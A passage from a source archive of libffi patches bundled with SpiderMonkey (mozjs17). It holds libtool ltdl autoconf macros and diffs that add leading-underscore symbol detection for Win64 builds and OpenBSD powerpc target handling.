autoconf definition. +m4_popdef([AC_LIBOBJ]) +m4_popdef([AC_LIBSOURCES]) + +AC_CONFIG_COMMANDS_PRE([ + _ltdl_libobjs= + _ltdl_ltlibobjs= + if test -n "$_LT_LIBOBJS"; then + # Remove the extension. + _lt_sed_drop_objext='s/\.o$//;s/\.obj$//' + for i in `for i in $_LT_LIBOBJS; do echo "$i"; done | sed "$_lt_sed_drop_objext" | sort -u`; do + _ltdl_libobjs="$_ltdl_libobjs $lt_libobj_prefix$i.$ac_objext" + _ltdl_ltlibobjs="$_ltdl_ltlibobjs $lt_libobj_prefix$i.lo" + done + fi + AC_SUBST([ltdl_LIBOBJS], [$_ltdl_libobjs]) + AC_SUBST([ltdl_LTLIBOBJS], [$_ltdl_ltlibobjs]) +]) + +# Only expand once: +m4_define([LTDL_INIT]) +])# LTDL_INIT + +# Old names: +AU_DEFUN([AC_LIB_LTDL], [LTDL_INIT($@)]) +AU_DEFUN([AC_WITH_LTDL], [LTDL_INIT($@)]) +AU_DEFUN([LT_WITH_LTDL], [LTDL_INIT($@)]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIB_LTDL], []) +dnl AC_DEFUN([AC_WITH_LTDL], []) +dnl AC_DEFUN([LT_WITH_LTDL], []) + + +# _LTDL_SETUP +# ----------- +# Perform all the checks necessary for compilation of the ltdl objects +# -- including compiler checks and header checks. This is a public +# interface mainly for the benefit of libltdl's own configure.ac, most +# other users should call LTDL_INIT instead. +AC_DEFUN([_LTDL_SETUP], +[AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([LT_SYS_MODULE_EXT])dnl +AC_REQUIRE([LT_SYS_MODULE_PATH])dnl +AC_REQUIRE([LT_SYS_DLSEARCH_PATH])dnl +AC_REQUIRE([LT_LIB_DLLOAD])dnl +AC_REQUIRE([LT_SYS_SYMBOL_USCORE])dnl +AC_REQUIRE([LT_FUNC_DLSYM_USCORE])dnl +AC_REQUIRE([LT_SYS_DLOPEN_DEPLIBS])dnl +AC_REQUIRE([gl_FUNC_ARGZ])dnl + +m4_require([_LT_CHECK_OBJDIR])dnl +m4_require([_LT_HEADER_DLFCN])dnl +m4_require([_LT_CHECK_DLPREOPEN])dnl +m4_require([_LT_DECL_SED])dnl + +dnl Don't require this, or it will be expanded earlier than the code +dnl that sets the variables it relies on: +_LT_ENABLE_INSTALL + +dnl _LTDL_MODE specific code must be called at least once: +_LTDL_MODE_DISPATCH + +# In order that ltdl.c can compile, find out the first AC_CONFIG_HEADERS +# the user used. This is so that ltdl.h can pick up the parent projects +# config.h file, The first file in AC_CONFIG_HEADERS must contain the +# definitions required by ltdl.c. +# FIXME: Remove use of undocumented AC_LIST_HEADERS (2.59 compatibility). +AC_CONFIG_COMMANDS_PRE([dnl +m4_pattern_allow([^LT_CONFIG_H$])dnl +m4_ifset([AH_HEADER], + [LT_CONFIG_H=AH_HEADER], + [m4_ifset([AC_LIST_HEADERS], + [LT_CONFIG_H=`echo "AC_LIST_HEADERS" | $SED 's,^[[ ]]*,,;s,[[ :]].*$,,'`], + [])])]) +AC_SUBST([LT_CONFIG_H]) + +AC_CHECK_HEADERS([unistd.h dl.h sys/dl.h dld.h mach-o/dyld.h dirent.h], + [], [], [AC_INCLUDES_DEFAULT]) + +AC_CHECK_FUNCS([closedir opendir readdir], [], [AC_LIBOBJ([lt__dirent])]) +AC_CHECK_FUNCS([strlcat strlcpy], [], [AC_LIBOBJ([lt__strl])]) + +AC_DEFINE_UNQUOTED([LT_LIBEXT],["$libext"],[The archive extension]) + +name=ltdl +LTDLOPEN=`eval "\\$ECHO \"$libname_spec\""` +AC_SUBST([LTDLOPEN]) +])# _LTDL_SETUP + + +# _LT_ENABLE_INSTALL +# ------------------ +m4_define([_LT_ENABLE_INSTALL], +[AC_ARG_ENABLE([ltdl-install], + [AS_HELP_STRING([--enable-ltdl-install], [install libltdl])]) + +case ,${enable_ltdl_install},${enable_ltdl_convenience} in + *yes*) ;; + *) enable_ltdl_convenience=yes ;; +esac + +m4_ifdef([AM_CONDITIONAL], +[AM_CONDITIONAL(INSTALL_LTDL, test x"${enable_ltdl_install-no}" != xno) + AM_CONDITIONAL(CONVENIENCE_LTDL, test x"${enable_ltdl_convenience-no}" != xno)]) +])# _LT_ENABLE_INSTALL + + +# LT_SYS_DLOPEN_DEPLIBS +# --------------------- +AC_DEFUN([LT_SYS_DLOPEN_DEPLIBS], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_CACHE_CHECK([whether deplibs are loaded by dlopen], + [lt_cv_sys_dlopen_deplibs], + [# PORTME does your system automatically load deplibs for dlopen? + # or its logical equivalent (e.g. shl_load for HP-UX < 11) + # For now, we just catch OSes we know something about -- in the + # future, we'll try test this programmatically. + lt_cv_sys_dlopen_deplibs=unknown + case $host_os in + aix3*|aix4.1.*|aix4.2.*) + # Unknown whether this is true for these versions of AIX, but + # we want this `case' here to explicitly catch those versions. + lt_cv_sys_dlopen_deplibs=unknown + ;; + aix[[4-9]]*) + lt_cv_sys_dlopen_deplibs=yes + ;; + amigaos*) + case $host_cpu in + powerpc) + lt_cv_sys_dlopen_deplibs=no + ;; + esac + ;; + darwin*) + # Assuming the user has installed a libdl from somewhere, this is true + # If you are looking for one http://www.opendarwin.org/projects/dlcompat + lt_cv_sys_dlopen_deplibs=yes + ;; + freebsd* | dragonfly*) + lt_cv_sys_dlopen_deplibs=yes + ;; + gnu* | linux* | k*bsd*-gnu) + # GNU and its variants, using gnu ld.so (Glibc) + lt_cv_sys_dlopen_deplibs=yes + ;; + hpux10*|hpux11*) + lt_cv_sys_dlopen_deplibs=yes + ;; + interix*) + lt_cv_sys_dlopen_deplibs=yes + ;; + irix[[12345]]*|irix6.[[01]]*) + # Catch all versions of IRIX before 6.2, and indicate that we don't + # know how it worked for any of those versions. + lt_cv_sys_dlopen_deplibs=unknown + ;; + irix*) + # The case above catches anything before 6.2, and it's known that + # at 6.2 and later dlopen does load deplibs. + lt_cv_sys_dlopen_deplibs=yes + ;; + netbsd*) + lt_cv_sys_dlopen_deplibs=yes + ;; + openbsd*) + lt_cv_sys_dlopen_deplibs=yes + ;; + osf[[1234]]*) + # dlopen did load deplibs (at least at 4.x), but until the 5.x series, + # it did *not* use an RPATH in a shared library to find objects the + # library depends on, so we explicitly say `no'. + lt_cv_sys_dlopen_deplibs=no + ;; + osf5.0|osf5.0a|osf5.1) + # dlopen *does* load deplibs and with the right loader patch applied + # it even uses RPATH in a shared library to search for shared objects + # that the library depends on, but there's no easy way to know if that + # patch is installed. Since this is the case, all we can really + # say is unknown -- it depends on the patch being installed. If + # it is, this changes to `yes'. Without it, it would be `no'. + lt_cv_sys_dlopen_deplibs=unknown + ;; + osf*) + # the two cases above should catch all versions of osf <= 5.1. Read + # the comments above for what we know about them. + # At > 5.1, deplibs are loaded *and* any RPATH in a shared library + # is used to find them so we can finally say `yes'. + lt_cv_sys_dlopen_deplibs=yes + ;; + qnx*) + lt_cv_sys_dlopen_deplibs=yes + ;; + solaris*) + lt_cv_sys_dlopen_deplibs=yes + ;; + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + libltdl_cv_sys_dlopen_deplibs=yes + ;; + esac + ]) +if test "$lt_cv_sys_dlopen_deplibs" != yes; then + AC_DEFINE([LTDL_DLOPEN_DEPLIBS], [1], + [Define if the OS needs help to load dependent libraries for dlopen().]) +fi +])# LT_SYS_DLOPEN_DEPLIBS + +# Old name: +AU_ALIAS([AC_LTDL_SYS_DLOPEN_DEPLIBS], [LT_SYS_DLOPEN_DEPLIBS]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_SYS_DLOPEN_DEPLIBS], []) + + +# LT_SYS_MODULE_EXT +# ----------------- +AC_DEFUN([LT_SYS_MODULE_EXT], +[m4_require([_LT_SYS_DYNAMIC_LINKER])dnl +AC_CACHE_CHECK([which extension is used for runtime loadable modules], + [libltdl_cv_shlibext], +[ +module=yes +eval libltdl_cv_shlibext=$shrext_cmds + ]) +if test -n "$libltdl_cv_shlibext"; then + m4_pattern_allow([LT_MODULE_EXT])dnl + AC_DEFINE_UNQUOTED([LT_MODULE_EXT], ["$libltdl_cv_shlibext"], + [Define to the extension used for runtime loadable modules, say, ".so".]) +fi +])# LT_SYS_MODULE_EXT + +# Old name: +AU_ALIAS([AC_LTDL_SHLIBEXT], [LT_SYS_MODULE_EXT]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_SHLIBEXT], []) + + +# LT_SYS_MODULE_PATH +# ------------------ +AC_DEFUN([LT_SYS_MODULE_PATH], +[m4_require([_LT_SYS_DYNAMIC_LINKER])dnl +AC_CACHE_CHECK([which variable specifies run-time module search path], + [lt_cv_module_path_var], [lt_cv_module_path_var="$shlibpath_var"]) +if test -n "$lt_cv_module_path_var"; then + m4_pattern_allow([LT_MODULE_PATH_VAR])dnl + AC_DEFINE_UNQUOTED([LT_MODULE_PATH_VAR], ["$lt_cv_module_path_var"], + [Define to the name of the environment variable that determines the run-time module search path.]) +fi +])# LT_SYS_MODULE_PATH + +# Old name: +AU_ALIAS([AC_LTDL_SHLIBPATH], [LT_SYS_MODULE_PATH]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_SHLIBPATH], []) + + +# LT_SYS_DLSEARCH_PATH +# -------------------- +AC_DEFUN([LT_SYS_DLSEARCH_PATH], +[m4_require([_LT_SYS_DYNAMIC_LINKER])dnl +AC_CACHE_CHECK([for the default library search path], + [lt_cv_sys_dlsearch_path], + [lt_cv_sys_dlsearch_path="$sys_lib_dlsearch_path_spec"]) +if test -n "$lt_cv_sys_dlsearch_path"; then + sys_dlsearch_path= + for dir in $lt_cv_sys_dlsearch_path; do + if test -z "$sys_dlsearch_path"; then + sys_dlsearch_path="$dir" + else + sys_dlsearch_path="$sys_dlsearch_path$PATH_SEPARATOR$dir" + fi + done + m4_pattern_allow([LT_DLSEARCH_PATH])dnl + AC_DEFINE_UNQUOTED([LT_DLSEARCH_PATH], ["$sys_dlsearch_path"], + [Define to the system default library search path.]) +fi +])# LT_SYS_DLSEARCH_PATH + +# Old name: +AU_ALIAS([AC_LTDL_SYSSEARCHPATH], [LT_SYS_DLSEARCH_PATH]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_SYSSEARCHPATH], []) + + +# _LT_CHECK_DLPREOPEN +# ------------------- +m4_defun([_LT_CHECK_DLPREOPEN], +[m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl +AC_CACHE_CHECK([whether libtool supports -dlopen/-dlpreopen], + [libltdl_cv_preloaded_symbols], + [if test -n "$lt_cv_sys_global_symbol_pipe"; then + libltdl_cv_preloaded_symbols=yes + else + libltdl_cv_preloaded_symbols=no + fi + ]) +if test x"$libltdl_cv_preloaded_symbols" = xyes; then + AC_DEFINE([HAVE_PRELOADED_SYMBOLS], [1], + [Define if libtool can extract symbol lists from object files.]) +fi +])# _LT_CHECK_DLPREOPEN + + +# LT_LIB_DLLOAD +# ------------- +AC_DEFUN([LT_LIB_DLLOAD], +[m4_pattern_allow([^LT_DLLOADERS$]) +LT_DLLOADERS= +AC_SUBST([LT_DLLOADERS]) + +AC_LANG_PUSH([C]) + +LIBADD_DLOPEN= +AC_SEARCH_LIBS([dlopen], [dl], + [AC_DEFINE([HAVE_LIBDL], [1], + [Define if you have the libdl library or equivalent.]) + if test "$ac_cv_search_dlopen" != "none required" ; then + LIBADD_DLOPEN="-ldl" + fi + libltdl_cv_lib_dl_dlopen="yes" + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"], + [AC_LINK_IFELSE([AC_LANG_PROGRAM([[#if HAVE_DLFCN_H +# include +#endif + ]], [[dlopen(0, 0);]])], + [AC_DEFINE([HAVE_LIBDL], [1], + [Define if you have the libdl library or equivalent.]) + libltdl_cv_func_dlopen="yes" + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"], + [AC_CHECK_LIB([svld], [dlopen], + [AC_DEFINE([HAVE_LIBDL], [1], + [Define if you have the libdl library or equivalent.]) + LIBADD_DLOPEN="-lsvld" libltdl_cv_func_dlopen="yes" + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dlopen.la"])])]) +if test x"$libltdl_cv_func_dlopen" = xyes || test x"$libltdl_cv_lib_dl_dlopen" = xyes +then + lt_save_LIBS="$LIBS" + LIBS="$LIBS $LIBADD_DLOPEN" + AC_CHECK_FUNCS([dlerror]) + LIBS="$lt_save_LIBS" +fi +AC_SUBST([LIBADD_DLOPEN]) + +LIBADD_SHL_LOAD= +AC_CHECK_FUNC([shl_load], + [AC_DEFINE([HAVE_SHL_LOAD], [1], + [Define if you have the shl_load function.]) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}shl_load.la"], + [AC_CHECK_LIB([dld], [shl_load], + [AC_DEFINE([HAVE_SHL_LOAD], [1], + [Define if you have the shl_load function.]) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}shl_load.la" + LIBADD_SHL_LOAD="-ldld"])]) +AC_SUBST([LIBADD_SHL_LOAD]) + +case $host_os in +darwin[[1567]].*) +# We only want this for pre-Mac OS X 10.4. + AC_CHECK_FUNC([_dyld_func_lookup], + [AC_DEFINE([HAVE_DYLD], [1], + [Define if you have the _dyld_func_lookup function.]) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dyld.la"]) + ;; +beos*) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}load_add_on.la" + ;; +cygwin* | mingw* | os2* | pw32*) + AC_CHECK_DECLS([cygwin_conv_path], [], [], [[#include ]]) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}loadlibrary.la" + ;; +esac + +AC_CHECK_LIB([dld], [dld_link], + [AC_DEFINE([HAVE_DLD], [1], + [Define if you have the GNU dld library.]) + LT_DLLOADERS="$LT_DLLOADERS ${lt_dlopen_dir+$lt_dlopen_dir/}dld_link.la"]) +AC_SUBST([LIBADD_DLD_LINK]) + +m4_pattern_allow([^LT_DLPREOPEN$]) +LT_DLPREOPEN= +if test -n "$LT_DLLOADERS" +then + for lt_loader in $LT_DLLOADERS; do + LT_DLPREOPEN="$LT_DLPREOPEN-dlpreopen $lt_loader " + done + AC_DEFINE([HAVE_LIBDLLOADER], [1], + [Define if libdlloader will be built on this platform]) +fi +AC_SUBST([LT_DLPREOPEN]) + +dnl This isn't used anymore, but set it for backwards compatibility +LIBADD_DL="$LIBADD_DLOPEN $LIBADD_SHL_LOAD" +AC_SUBST([LIBADD_DL]) + +AC_LANG_POP +])# LT_LIB_DLLOAD + +# Old name: +AU_ALIAS([AC_LTDL_DLLIB], [LT_LIB_DLLOAD]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_DLLIB], []) + + +# LT_SYS_SYMBOL_USCORE +# -------------------- +# does the compiler prefix global symbols with an underscore? +AC_DEFUN([LT_SYS_SYMBOL_USCORE], +[m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl +AC_CACHE_CHECK([for _ prefix in compiled symbols], + [lt_cv_sys_symbol_underscore], + [lt_cv_sys_symbol_underscore=no + cat > conftest.$ac_ext <<_LT_EOF +void nm_test_func(){} +int main(){nm_test_func;return 0;} +_LT_EOF + if AC_TRY_EVAL(ac_compile); then + # Now try to grab the symbols. + ac_nlist=conftest.nm + if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist) && test -s "$ac_nlist"; then + # See whether the symbols have a leading underscore. + if grep '^. _nm_test_func' "$ac_nlist" >/dev/null; then + lt_cv_sys_symbol_underscore=yes + else + if grep '^. nm_test_func ' "$ac_nlist" >/dev/null; then + : + else + echo "configure: cannot find nm_test_func in $ac_nlist" >&AS_MESSAGE_LOG_FD + fi + fi + else + echo "configure: cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD + fi + else + echo "configure: failed program was:" >&AS_MESSAGE_LOG_FD + cat conftest.c >&AS_MESSAGE_LOG_FD + fi + rm -rf conftest* + ]) + sys_symbol_underscore=$lt_cv_sys_symbol_underscore + AC_SUBST([sys_symbol_underscore]) +])# LT_SYS_SYMBOL_USCORE + +# Old name: +AU_ALIAS([AC_LTDL_SYMBOL_USCORE], [LT_SYS_SYMBOL_USCORE]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_SYMBOL_USCORE], []) + + +# LT_FUNC_DLSYM_USCORE +# -------------------- +AC_DEFUN([LT_FUNC_DLSYM_USCORE], +[AC_REQUIRE([LT_SYS_SYMBOL_USCORE])dnl +if test x"$lt_cv_sys_symbol_underscore" = xyes; then + if test x"$libltdl_cv_func_dlopen" = xyes || + test x"$libltdl_cv_lib_dl_dlopen" = xyes ; then + AC_CACHE_CHECK([whether we have to add an underscore for dlsym], + [libltdl_cv_need_uscore], + [libltdl_cv_need_uscore=unknown + save_LIBS="$LIBS" + LIBS="$LIBS $LIBADD_DLOPEN" + _LT_TRY_DLOPEN_SELF( + [libltdl_cv_need_uscore=no], [libltdl_cv_need_uscore=yes], + [], [libltdl_cv_need_uscore=cross]) + LIBS="$save_LIBS" + ]) + fi +fi + +if test x"$libltdl_cv_need_uscore" = xyes; then + AC_DEFINE([NEED_USCORE], [1], + [Define if dlsym() requires a leading underscore in symbol names.]) +fi +])# LT_FUNC_DLSYM_USCORE + +# Old name: +AU_ALIAS([AC_LTDL_DLSYM_USCORE], [LT_FUNC_DLSYM_USCORE]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LTDL_DLSYM_USCORE], []) + # Helper functions for option handling. -*- Autoconf -*- # # Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc. diff --git a/configure b/configure index da1cb4d..e086c65 100755 --- a/configure +++ b/configure @@ -795,6 +795,7 @@ FFI_DEBUG_FALSE FFI_DEBUG_TRUE TARGETDIR TARGET +sys_symbol_underscore HAVE_LONG_DOUBLE ALLOCA PA64_HPUX_FALSE @@ -4782,13 +4783,13 @@ if test "${lt_cv_nm_interface+set}" = set; then else lt_cv_nm_interface="BSD nm" echo "int some_variable = 0;" > conftest.$ac_ext - (eval echo "\"\$as_me:4785: $ac_compile\"" >&5) + (eval echo "\"\$as_me:4786: $ac_compile\"" >&5) (eval "$ac_compile" 2>conftest.err) cat conftest.err >&5 - (eval echo "\"\$as_me:4788: $NM \\\"conftest.$ac_objext\\\"\"" >&5) + (eval echo "\"\$as_me:4789: $NM \\\"conftest.$ac_objext\\\"\"" >&5) (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) cat conftest.err >&5 - (eval echo "\"\$as_me:4791: output\"" >&5) + (eval echo "\"\$as_me:4792: output\"" >&5) cat conftest.out >&5 if $GREP 'External.*some_variable' conftest.out > /dev/null; then lt_cv_nm_interface="MS dumpbin" @@ -5994,7 +5995,7 @@ ia64-*-hpux*) ;; *-*-irix6*) # Find out which ABI we are using. - echo '#line 5997 "configure"' > conftest.$ac_ext + echo '#line 5998 "configure"' > conftest.$ac_ext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? @@ -7847,11 +7848,11 @@ else -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:7850: $lt_compile\"" >&5) + (eval echo "\"\$as_me:7851: $lt_compile\"" >&5) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&5 - echo "$as_me:7854: \$? = $ac_status" >&5 + echo "$as_me:7855: \$? = $ac_status" >&5 if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. @@ -8186,11 +8187,11 @@ else -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:8189: $lt_compile\"" >&5) + (eval echo "\"\$as_me:8190: $lt_compile\"" >&5) (eval "$lt_compile" 2>conftest.err) ac_status=$? cat conftest.err >&5 - echo "$as_me:8193: \$? = $ac_status" >&5 + echo "$as_me:8194: \$? = $ac_status" >&5 if (exit $ac_status) && test -s "$ac_outfile"; then # The compiler can only warn and ignore the option if not recognized # So say no if there are warnings other than the usual output. @@ -8291,11 +8292,11 @@ else -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:8294: $lt_compile\"" >&5) + (eval echo "\"\$as_me:8295: $lt_compile\"" >&5) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&5 - echo "$as_me:8298: \$? = $ac_status" >&5 + echo "$as_me:8299: \$? = $ac_status" >&5 if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized @@ -8346,11 +8347,11 @@ else -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:8349: $lt_compile\"" >&5) + (eval echo "\"\$as_me:8350: $lt_compile\"" >&5) (eval "$lt_compile" 2>out/conftest.err) ac_status=$? cat out/conftest.err >&5 - echo "$as_me:8353: \$? = $ac_status" >&5 + echo "$as_me:8354: \$? = $ac_status" >&5 if (exit $ac_status) && test -s out/conftest2.$ac_objext then # The compiler can only warn and ignore the option if not recognized @@ -11149,7 +11150,7 @@ else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF -#line 11152 "configure" +#line 11153 "configure" #include "confdefs.h" #if HAVE_DLFCN_H @@ -11245,7 +11246,7 @@ else lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 lt_status=$lt_dlunknown cat > conftest.$ac_ext <<_LT_EOF -#line 11248 "configure" +#line 11249 "configure" #include "confdefs.h" #if HAVE_DLFCN_H @@ -14647,6 +14648,63 @@ _ACEOF fi fi +if test x$TARGET = xX86_WIN64; then + { $as_echo "$as_me:$LINENO: checking for _ prefix in compiled symbols" >&5 +$as_echo_n "checking for _ prefix in compiled symbols... " >&6; } +if test "${lt_cv_sys_symbol_underscore+set}" = set; then + $as_echo_n "(cached) " >&6 +else + lt_cv_sys_symbol_underscore=no + cat > conftest.$ac_ext <<_LT_EOF +void nm_test_func(){} +int main(){nm_test_func;return 0;} +_LT_EOF + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Now try to grab the symbols. + ac_nlist=conftest.nm + if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist\"") >&5 + (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $ac_nlist) 2>&5 + ac_status=$? + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s "$ac_nlist"; then + # See whether the symbols have a leading underscore. + if grep '^. _nm_test_func' "$ac_nlist" >/dev/null; then + lt_cv_sys_symbol_underscore=yes + else + if grep '^. nm_test_func ' "$ac_nlist" >/dev/null; then + : + else + echo "configure: cannot find nm_test_func in $ac_nlist" >&5 + fi + fi + else + echo "configure: cannot run $lt_cv_sys_global_symbol_pipe" >&5 + fi + else + echo "configure: failed program was:" >&5 + cat conftest.c >&5 + fi + rm -rf conftest* + +fi +{ $as_echo "$as_me:$LINENO: result: $lt_cv_sys_symbol_underscore" >&5 +$as_echo "$lt_cv_sys_symbol_underscore" >&6; } + sys_symbol_underscore=$lt_cv_sys_symbol_underscore + + + if test "x$sys_symbol_underscore" = xyes; then + +cat >>confdefs.h <<\_ACEOF +#define SYMBOL_UNDERSCORE 1 +_ACEOF + + fi +fi + case "$target" in *-apple-darwin10* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) diff --git a/configure.ac b/configure.ac index a94bd26..c7cead8 100644 --- a/configure.ac +++ b/configure.ac @@ -314,6 +314,13 @@ if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64 fi fi +if test x$TARGET = xX86_WIN64; then + LT_SYS_SYMBOL_USCORE + if test "x$sys_symbol_underscore" = xyes; then + AC_DEFINE(SYMBOL_UNDERSCORE, 1, [Define if symbols are underscored.]) + fi +fi + case "$target" in *-apple-darwin10* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) AC_DEFINE(FFI_MMAP_EXEC_WRIT, 1, diff --git a/src/x86/win64.S b/src/x86/win64.S index 6e91818..fcdb270 100644 --- a/src/x86/win64.S +++ b/src/x86/win64.S @@ -232,10 +232,18 @@ ret_void$: ffi_call_win64 ENDP _TEXT ENDS END -#else + +#else + +#ifdef SYMBOL_UNDERSCORE +#define SYMBOL_NAME(name) _##name +#else +#define SYMBOL_NAME(name) name +#endif + .text -.extern _ffi_closure_win64_inner +.extern SYMBOL_NAME(ffi_closure_win64_inner) # ffi_closure_win64 will be called with these registers set: # rax points to 'closure' @@ -246,8 +254,8 @@ END # call ffi_closure_win64_inner for the actual work, then return the result. # .balign 16 - .globl _ffi_closure_win64 -_ffi_closure_win64: + .globl SYMBOL_NAME(ffi_closure_win64) +SYMBOL_NAME(ffi_closure_win64): # copy register arguments onto stack test $1,%r11 jne .Lfirst_is_float @@ -287,7 +295,7 @@ _ffi_closure_win64: mov %rax, %rcx # context is first parameter mov %rsp, %rdx # stack is second parameter add $48, %rdx # point to start of arguments - mov $_ffi_closure_win64_inner, %rax + mov $SYMBOL_NAME(ffi_closure_win64_inner), %rax callq *%rax # call the real closure function add $40, %rsp movq %rax, %xmm0 # If the closure returned a float, @@ -296,8 +304,8 @@ _ffi_closure_win64: .ffi_closure_win64_end: .balign 16 - .globl _ffi_call_win64 -_ffi_call_win64: + .globl SYMBOL_NAME(ffi_call_win64) +SYMBOL_NAME(ffi_call_win64): # copy registers onto stack mov %r9,32(%rsp) mov %r8,24(%rsp) mozjs17.0.0/js/src/ctypes/patches-libffi/01-bug-670719.patch0000664000175000017500000000141612106270662022763 0ustar sstanglsstangl# HG changeset patch # Parent e357f3f732a0f3e98f8bd4661de03c9042c5c330 # User Landry Breuil treat powerpc-*-openbsd* as powerpc-*-freebsd* diff --git a/js/src/ctypes/libffi/configure b/js/src/ctypes/libffi/configure --- a/js/src/ctypes/libffi/configure +++ b/js/src/ctypes/libffi/configure @@ -11272,17 +11272,17 @@ case "$host" in TARGET=POWERPC; TARGETDIR=powerpc ;; powerpc-*-darwin*) TARGET=POWERPC_DARWIN; TARGETDIR=powerpc ;; powerpc-*-aix* | rs6000-*-aix*) TARGET=POWERPC_AIX; TARGETDIR=powerpc ;; - powerpc-*-freebsd*) + powerpc-*-freebsd* | powerpc-*-openbsd*) TARGET=POWERPC_FREEBSD; TARGETDIR=powerpc ;; powerpc*-*-rtems*) TARGET=POWERPC; TARGETDIR=powerpc ;; s390-*-* | s390x-*-*) TARGET=S390; TARGETDIR=s390 mozjs17.0.0/js/src/ctypes/patches-libffi/00-base.patch0000664000175000017500000011426212106270662022350 0ustar sstanglsstanglPatch libffi to fix bug 550602, bug 538216, bug545634, bug 594611, bug 605421 and bug 631928. diff --git a/js/src/ctypes/libffi/Makefile.in b/js/src/ctypes/libffi/Makefile.in --- a/js/src/ctypes/libffi/Makefile.in +++ b/js/src/ctypes/libffi/Makefile.in @@ -199,17 +199,17 @@ LTCOMPILE = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \ CCLD = $(CC) LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) \ --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) \ $(LDFLAGS) -o $@ SOURCES = $(libffi_la_SOURCES) $(nodist_libffi_la_SOURCES) \ $(libffi_convenience_la_SOURCES) \ $(nodist_libffi_convenience_la_SOURCES) DIST_SOURCES = $(libffi_la_SOURCES) $(libffi_convenience_la_SOURCES) -INFO_DEPS = $(srcdir)/doc/libffi.info +INFO_DEPS = am__TEXINFO_TEX_DIR = $(srcdir) DVIS = doc/libffi.dvi PDFS = doc/libffi.pdf PSS = doc/libffi.ps HTMLS = doc/libffi.html TEXINFOS = doc/libffi.texi TEXI2DVI = texi2dvi TEXI2PDF = $(TEXI2DVI) --pdf --batch @@ -986,57 +986,57 @@ distclean-compile: @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/ffi64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/freebsd.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ 